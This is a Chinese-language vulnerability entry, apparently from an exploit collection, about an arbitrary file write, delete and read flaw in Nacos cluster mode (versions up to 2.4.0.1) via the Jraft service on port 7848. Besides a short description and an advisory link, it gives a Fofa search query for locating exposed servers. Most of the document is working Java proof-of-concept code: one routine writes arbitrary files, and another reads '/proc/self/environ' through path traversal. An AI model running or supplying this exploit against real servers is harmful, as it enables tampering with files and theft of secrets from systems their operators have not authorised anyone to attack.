## Fofa语法

title="Nacos"

## 漏洞说明

在Nacos<=2.4.0.1版本中集群模式启动下存在名为naming\_persistent\_service的Group

该Group所使用的Processor为

com.alibaba.nacos.naming.consistency.persistent.impl.PersistentServiceProcessor类型Processor，在进行处理过程中会触发其父类onApply或onRequest方法,这两个方法会分别造成任意文件写入删除和任意文件读取

官方社区公告：https://nacos.io/blog/announcement-nacos-security-problem-file/

漏洞出现在Jraft服务（默认值7848）

## 漏洞POC

|  |
| --- |
| **任意文件写入**  public static void send(String addr, byte[] payload) throws Exception {  Configuration conf = new Configuration();  conf.parse(addr);  RouteTable.getInstance().updateConfiguration("nacos", conf);  CliClientServiceImpl cliClientService = new CliClientServiceImpl();  cliClientService.init(new CliOptions());  RouteTable.getInstance().refreshLeader(cliClientService, "nacos", 1000).isOk();  PeerId leader = PeerId.parsePeer(addr);  Field parserClasses = cliClientService.getRpcClient().getClass().getDeclaredField("parserClasses");  parserClasses.setAccessible(true);  ConcurrentHashMap map = (ConcurrentHashMap) parserClasses.get(cliClientService.getRpcClient());  map.put("com.alibaba.nacos.consistency.entity.WriteRequest", WriteRequest.getDefaultInstance());  MarshallerHelper.registerRespInstance(WriteRequest.class.getName(), WriteRequest.getDefaultInstance());  final WriteRequest writeRequest = WriteRequest.newBuilder().setGroup("naming\_persistent\_service").setData(ByteString.copyFrom(payload)).setOperation("Write").build();  Object o = cliClientService.getRpcClient().invokeSync(leader.getEndpoint(), writeRequest, 5000);  System.out.println(o);  }  public static void main(String[] args) throws Exception {  String address = "192.168.3.153:7848";  BatchWriteRequest request = new BatchWriteRequest();  request.append("1.txt".getBytes(), "aaaa\n".getBytes());//向/home/nacos/data/naming/data/1.txt写入aaaa  JacksonSerializer serializer = new JacksonSerializer();  send(address, serializer.serialize(request));  }  **任意文件读取**  public static void send2(String addr, byte[] payload) throws Exception {  Configuration conf = new Configuration();  conf.parse(addr);  RouteTable.getInstance().updateConfiguration("nacos", conf);  CliClientServiceImpl cliClientService = new CliClientServiceImpl();  cliClientService.init(new CliOptions());  RouteTable.getInstance().refreshLeader(cliClientService, "nacos", 1000).isOk();  PeerId leader = PeerId.parsePeer(addr);  Field parserClasses = cliClientService.getRpcClient().getClass().getDeclaredField("parserClasses");  parserClasses.setAccessible(true);  ConcurrentHashMap map = (ConcurrentHashMap) parserClasses.get(cliClientService.getRpcClient());  map.put("com.alibaba.nacos.consistency.entity.ReadRequest", ReadRequest.getDefaultInstance());  MarshallerHelper.registerRespInstance(ReadRequest.class.getName(), ReadRequest.getDefaultInstance());  final ReadRequest readRequest = ReadRequest.newBuilder().setGroup("naming\_persistent\_service").setData(ByteString.copyFrom(payload)).build();  Object o = cliClientService.getRpcClient().invokeSync(leader.getEndpoint(), readRequest, 5000);  System.out.println(o);  }  public static void main(String[] args) throws Exception {  bypass();  String address = "192.168.3.153:7848";  JacksonSerializer serializer = new JacksonSerializer();  List byteArrayList = Arrays.asList("../../../../../../proc/self/environ".getBytes());  send2(address, serializer.serialize(byteArrayList));  } |

## 响应代码特征

200

## 响应内容特征

暂无